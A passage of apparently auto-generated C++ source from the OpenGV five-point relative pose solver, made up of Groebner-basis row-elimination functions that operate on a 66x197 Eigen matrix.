groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(44,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow30_100000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,107) / groebnerMatrix(30,152);
groebnerMatrix(targetRow,107) = 0.0;
groebnerMatrix(targetRow,108) -= factor * groebnerMatrix(30,153);
groebnerMatrix(targetRow,110) -= factor * groebnerMatrix(30,155);
groebnerMatrix(targetRow,111) -= factor * groebnerMatrix(30,156);
groebnerMatrix(targetRow,112) -= factor * groebnerMatrix(30,157);
groebnerMatrix(targetRow,113) -= factor * groebnerMatrix(30,158);
groebnerMatrix(targetRow,114) -= factor * groebnerMatrix(30,159);
groebnerMatrix(targetRow,115) -= factor * groebnerMatrix(30,160);
groebnerMatrix(targetRow,116) -= factor * groebnerMatrix(30,161);
groebnerMatrix(targetRow,117) -= factor * groebnerMatrix(30,162);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(30,170);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(30,171);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(30,173);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(30,174);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(30,176);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(30,177);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(30,178);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(30,179);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(30,180);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(30,181);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(30,182);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(30,183);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(30,184);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(30,185);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(30,186);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(30,187);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(30,188);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(30,189);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(30,190);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(30,191);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(30,192);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(30,193);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(30,194);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(30,195);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(30,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow45_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,96) / groebnerMatrix(45,96);
groebnerMatrix(targetRow,96) = 0.0;
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(45,125);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(45,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(45,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(45,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(45,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(45,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(45,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(45,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(45,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(45,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(45,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(45,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(45,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(45,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(45,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(45,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(45,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(45,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(45,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(45,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(45,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(45,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(45,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(45,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(45,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(45,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(45,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(45,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(45,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(45,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(45,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(45,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(45,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(45,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(45,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(45,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(45,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(45,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(45,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(45,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow46_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,125) / groebnerMatrix(46,125);
groebnerMatrix(targetRow,125) = 0.0;
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(46,126);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(46,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(46,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(46,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(46,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(46,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(46,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(46,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(46,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(46,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(46,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(46,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(46,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(46,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(46,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(46,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(46,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(46,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(46,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(46,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(46,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(46,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(46,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(46,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(46,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(46,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(46,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(46,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(46,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(46,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(46,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(46,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(46,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(46,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(46,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(46,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(46,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(46,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(46,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow47_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,126) / groebnerMatrix(47,126);
groebnerMatrix(targetRow,126) = 0.0;
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(47,128);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(47,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(47,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(47,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(47,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(47,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(47,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(47,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(47,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(47,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(47,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(47,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(47,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(47,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(47,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(47,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(47,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(47,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(47,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(47,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(47,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(47,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(47,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(47,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(47,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(47,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(47,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(47,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(47,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(47,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(47,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(47,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(47,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(47,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(47,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(47,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(47,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(47,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow48_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,128) / groebnerMatrix(48,128);
groebnerMatrix(targetRow,128) = 0.0;
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(48,129);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(48,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(48,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(48,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(48,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(48,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(48,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(48,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(48,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(48,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(48,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(48,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(48,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(48,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(48,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(48,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(48,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(48,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(48,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(48,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(48,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(48,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(48,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(48,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(48,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(48,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(48,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(48,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(48,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(48,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(48,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(48,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(48,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(48,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(48,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(48,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(48,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow49_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,129) / groebnerMatrix(49,129);
groebnerMatrix(targetRow,129) = 0.0;
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(49,131);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(49,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(49,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(49,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(49,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(49,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(49,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(49,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(49,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(49,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(49,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(49,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(49,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(49,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(49,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(49,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(49,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(49,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(49,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(49,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(49,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(49,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(49,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(49,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(49,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(49,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(49,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(49,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(49,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(49,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(49,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(49,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(49,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(49,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(49,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(49,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow50_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,131) / groebnerMatrix(50,131);
groebnerMatrix(targetRow,131) = 0.0;
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(50,132);
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(50,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(50,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(50,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(50,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(50,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(50,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(50,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(50,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(50,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(50,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(50,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(50,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(50,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(50,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(50,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(50,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(50,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(50,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(50,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(50,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(50,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(50,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(50,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(50,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(50,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(50,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(50,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(50,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(50,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(50,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(50,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(50,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(50,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(50,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow32_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,74) / groebnerMatrix(32,155);
groebnerMatrix(targetRow,74) = 0.0;
groebnerMatrix(targetRow,75) -= factor * groebnerMatrix(32,156);
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(32,157);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(32,158);
groebnerMatrix(targetRow,78) -= factor * groebnerMatrix(32,159);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(32,160);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(32,161);
groebnerMatrix(targetRow,81) -= factor * groebnerMatrix(32,162);
groebnerMatrix(targetRow,89) -= factor * groebnerMatrix(32,170);
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(32,171);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(32,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(32,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(32,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(32,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(32,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(32,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(32,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(32,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(32,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(32,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(32,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(32,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(32,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(32,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(32,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(32,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(32,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(32,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(32,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(32,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(32,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(32,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(32,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow33_010000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,75) / groebnerMatrix(33,156);
groebnerMatrix(targetRow,75) = 0.0;
groebnerMatrix(targetRow,76) -= factor * groebnerMatrix(33,157);
groebnerMatrix(targetRow,77) -= factor * groebnerMatrix(33,158);
groebnerMatrix(targetRow,78) -= factor * groebnerMatrix(33,159);
groebnerMatrix(targetRow,79) -= factor * groebnerMatrix(33,160);
groebnerMatrix(targetRow,80) -= factor * groebnerMatrix(33,161);
groebnerMatrix(targetRow,81) -= factor * groebnerMatrix(33,162);
groebnerMatrix(targetRow,89) -= factor * groebnerMatrix(33,170);
groebnerMatrix(targetRow,90) -= factor * groebnerMatrix(33,171);
groebnerMatrix(targetRow,92) -= factor * groebnerMatrix(33,173);
groebnerMatrix(targetRow,93) -= factor * groebnerMatrix(33,174);
groebnerMatrix(targetRow,95) -= factor * groebnerMatrix(33,176);
groebnerMatrix(targetRow,96) -= factor * groebnerMatrix(33,177);
groebnerMatrix(targetRow,125) -= factor * groebnerMatrix(33,178);
groebnerMatrix(targetRow,126) -= factor * groebnerMatrix(33,179);
groebnerMatrix(targetRow,127) -= factor * groebnerMatrix(33,180);
groebnerMatrix(targetRow,128) -= factor * groebnerMatrix(33,181);
groebnerMatrix(targetRow,129) -= factor * groebnerMatrix(33,182);
groebnerMatrix(targetRow,130) -= factor * groebnerMatrix(33,183);
groebnerMatrix(targetRow,131) -= factor * groebnerMatrix(33,184);
groebnerMatrix(targetRow,132) -= factor * groebnerMatrix(33,185);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(33,186);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(33,187);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(33,188);
groebnerMatrix(targetRow,172) -= factor * groebnerMatrix(33,189);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(33,190);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(33,191);
groebnerMatrix(targetRow,175) -= factor * groebnerMatrix(33,192);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(33,193);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(33,194);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(33,195);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(33,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow51_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,132) / groebnerMatrix(51,132);
groebnerMatrix(targetRow,132) = 0.0;
groebnerMatrix(targetRow,133) -= factor * groebnerMatrix(51,133);
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(51,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(51,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(51,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(51,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(51,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(51,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(51,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(51,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(51,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(51,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(51,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(51,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(51,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(51,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(51,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(51,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(51,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(51,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(51,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(51,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(51,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(51,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(51,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(51,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(51,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(51,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(51,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(51,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(51,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(51,193);
groebnerMatrix(targetRow,194) -= factor * groebnerMatrix(51,194);
groebnerMatrix(targetRow,195) -= factor * groebnerMatrix(51,195);
groebnerMatrix(targetRow,196) -= factor * groebnerMatrix(51,196);
}
void
opengv::relative_pose::modules::fivept_kneip::groebnerRow52_000000000_f( Eigen::Matrix<double,66,197> & groebnerMatrix, int targetRow )
{
double factor = groebnerMatrix(targetRow,133) / groebnerMatrix(52,133);
groebnerMatrix(targetRow,133) = 0.0;
groebnerMatrix(targetRow,134) -= factor * groebnerMatrix(52,134);
groebnerMatrix(targetRow,135) -= factor * groebnerMatrix(52,135);
groebnerMatrix(targetRow,136) -= factor * groebnerMatrix(52,136);
groebnerMatrix(targetRow,137) -= factor * groebnerMatrix(52,137);
groebnerMatrix(targetRow,138) -= factor * groebnerMatrix(52,138);
groebnerMatrix(targetRow,139) -= factor * groebnerMatrix(52,139);
groebnerMatrix(targetRow,140) -= factor * groebnerMatrix(52,140);
groebnerMatrix(targetRow,141) -= factor * groebnerMatrix(52,141);
groebnerMatrix(targetRow,170) -= factor * groebnerMatrix(52,170);
groebnerMatrix(targetRow,171) -= factor * groebnerMatrix(52,171);
groebnerMatrix(targetRow,173) -= factor * groebnerMatrix(52,173);
groebnerMatrix(targetRow,174) -= factor * groebnerMatrix(52,174);
groebnerMatrix(targetRow,176) -= factor * groebnerMatrix(52,176);
groebnerMatrix(targetRow,177) -= factor * groebnerMatrix(52,177);
groebnerMatrix(targetRow,178) -= factor * groebnerMatrix(52,178);
groebnerMatrix(targetRow,179) -= factor * groebnerMatrix(52,179);
groebnerMatrix(targetRow,180) -= factor * groebnerMatrix(52,180);
groebnerMatrix(targetRow,181) -= factor * groebnerMatrix(52,181);
groebnerMatrix(targetRow,182) -= factor * groebnerMatrix(52,182);
groebnerMatrix(targetRow,183) -= factor * groebnerMatrix(52,183);
groebnerMatrix(targetRow,184) -= factor * groebnerMatrix(52,184);
groebnerMatrix(targetRow,185) -= factor * groebnerMatrix(52,185);
groebnerMatrix(targetRow,186) -= factor * groebnerMatrix(52,186);
groebnerMatrix(targetRow,187) -= factor * groebnerMatrix(52,187);
groebnerMatrix(targetRow,188) -= factor * groebnerMatrix(52,188);
groebnerMatrix(targetRow,189) -= factor * groebnerMatrix(52,189);
groebnerMatrix(targetRow,190) -= factor * groebnerMatrix(52,190);
groebnerMatrix(targetRow,191) -= factor * groebnerMatrix(52,191);
groebnerMatrix(targetRow,192) -= factor * groebnerMatrix(52,192);
groebnerMatrix(targetRow,193) -= factor * groebnerMatrix(52,193);
